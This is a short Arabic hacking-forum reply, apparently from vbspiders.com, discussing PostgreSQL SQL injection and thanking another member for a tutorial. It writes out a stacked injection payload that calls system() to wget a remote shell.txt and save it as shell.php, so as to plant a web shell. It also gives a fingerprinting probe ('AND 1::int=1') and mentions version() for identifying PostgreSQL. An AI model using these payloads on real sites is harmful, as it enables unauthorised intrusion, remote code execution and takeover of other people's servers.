POSTGRESQL Injection

[KaLa$nikoV]

مشكور انتي ترست ع الشرح

انا الي بعرفو والمعرفه الكامله لله
انه الحقن تاع
php
ما نقدر نعدل ع قواعد البيانات تاعتو من خلال
set or update
وانت مستخدم داله سستم لكان ممكن ينفع نعمل زي هيك

vbspiders.com/sql.php?id=1; SELECT system('wget http://vbspiders.com/shell.txt -O shell.php') --

ونرفع شل بالراحه

بس هلا الي فهمتو من كلامك انه ممكن نعدل ع القواعد الي بتكون
POSTGRESQL

وبنفحصها بالامر هاد
name.php?id=1 AND 1::int=1

او من
version()
ويطلع لنا بالناتج
انو السكول من نوع
PostgreSQL

اتمنا تصححنا لو في شيء غلط

وسلمت كثير ع الشرح
بوركت حبيبي